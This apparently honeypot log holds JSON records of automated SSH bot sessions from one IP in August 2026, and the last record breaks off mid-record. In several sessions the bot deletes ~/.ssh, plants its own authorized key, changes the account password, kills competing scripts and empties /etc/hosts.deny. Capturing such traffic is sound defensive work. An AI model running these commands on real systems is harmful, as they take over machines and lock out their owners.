{"id":"7fe44b2d-599e-4b97-8931-4318d9559b8d","name":"foggy-misty-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49174,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":348,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:42.378488+00:00","ended_at":"2026-08-27T12:25:44.615648+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:25:19.216149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:19.564281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:24.810948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:26.216406+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:26.567588+00:00","kind":"input","latency_ms":null,"data":"echo -e \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:26.912880+00:00","kind":"input","latency_ms":null,"data":"echo \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:27.260556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:27.845418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:25:28.208158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:25:29.127456+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:25:29.473232+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:25:31.675198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:32.025930+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:25:33.374055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:25:33.723470+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:25:34.391025+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:25:34.746204+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:25:35.283603+00:00","kind":"output","latency_ms":null,"data":" 12:25:35 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:25:35.633615+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:25:36.084937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:25:36.426900+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:25:37.075319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:25:37.423110+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:25:38.224155+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:38 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:25:38.576088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:25:39.033869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:25:39.372298+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:25:39.765590+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:25:40.112076+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:25:40.506744+00:00","kind":"output","latency_ms":null,"data":"james"},{"seq":31,"at":"2026-08-27T12:25:40.855399+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:25:42.030051+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:25:42.379435+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:25:44.512501+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"james","password":"james@123","method":"password","accepted":true,"tier":"other"}]} {"id":"759f2d2d-cae8-4e9a-9238-0cc155fa6cfa","name":"subtle-thrifty-plover","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34182,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:22.725003+00:00","ended_at":"2026-08-27T12:25:24.706843+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"james","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"36a620af-bbd1-4283-a08c-bb00b45d7448","name":"drifting-pleasant-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34170,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:20.313844+00:00","ended_at":"2026-08-27T12:25:22.192943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"08df2f51-54d1-4c35-ae9f-f6a520b52ca0","name":"valiant-glacial-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44666,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:42.940114+00:00","ended_at":"2026-08-27T12:23:44.192085+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:23:24.662910+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:24.988906+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:29.205745+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:29.739228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:30.069926+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DzwbH3etOed\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:30.392394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:30.720223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:31.182909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:31.514196+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:32.465018+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:32.799184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:34.314992+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:34.645812+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:35.391072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:35.716285+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:36.069358+00:00","kind":"output","latency_ms":null,"data":" 12:23:36 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:36.397760+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:36.773074+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:37.101165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:37.443664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:37.771330+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:38.347070+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:38 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:38.678966+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:39.170163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:39.497968+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:39.847774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:40.174101+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:40.965855+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:41.295445+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:42.612219+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:42.941043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:44.095001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"d0062a03-d96f-4390-8073-908cfdfc2009","name":"earnest-brave-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44694,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:28.016151+00:00","ended_at":"2026-08-27T12:23:29.108055+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4f04d438-5bd3-4155-abe8-eb4def1c29f1","name":"calm-hardy-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44678,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:25.737846+00:00","ended_at":"2026-08-27T12:23:27.367678+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"84d2a4e8-6fcc-4968-a1e4-a049d8e02664","name":"russet-rugged-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:47.348913+00:00","ended_at":"2026-08-27T12:21:48.544087+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:21:29.315794+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:29.647281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:34.210089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:34.462569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:34.792850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tdJWhKLCPn8c\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:35.120022+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:35.449600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:36.087103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:36.417348+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:37.328323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:37.658024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:38.817613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:39.150585+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:39.558950+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:39.890241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:40.468051+00:00","kind":"output","latency_ms":null,"data":" 12:21:40 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:40.798115+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:41.142180+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:41.474683+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:42.313457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:42.648966+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:42.904781+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:42 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:43.232793+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:43.897675+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:44.225096+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:44.664283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:44.993621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:45.667378+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:45.999554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:47.021343+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:47.349415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:48.448208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"409f38cc-6831-4ef8-a575-98aa01aa17e5","name":"rapid-frugal-falcon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45978,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:32.977725+00:00","ended_at":"2026-08-27T12:21:34.112758+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"00fc180b-beab-4be6-911c-df99e10a1c9f","name":"feral-curious-galago","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45970,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:30.418729+00:00","ended_at":"2026-08-27T12:21:32.323012+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5b8744b2-01e2-49be-bece-36ec39409a93","name":"brisk-blithe-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40896,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:44.225424+00:00","ended_at":"2026-08-27T12:19:45.643083+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:19:26.887194+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:27.213830+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:30.343880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:30.966240+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:31.289050+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zPXjAp3fCQxG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:19:31.620604+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:19:31.944188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:32.379874+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:19:32.710336+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:19:33.705319+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:19:34.035499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:19:35.254248+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:35.584710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:19:36.011542+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:19:36.338281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:19:37.085229+00:00","kind":"output","latency_ms":null,"data":" 12:19:37 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:19:37.410195+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:19:37.735807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:19:38.062544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:19:38.897968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:19:39.224419+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:19:39.522340+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:39 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 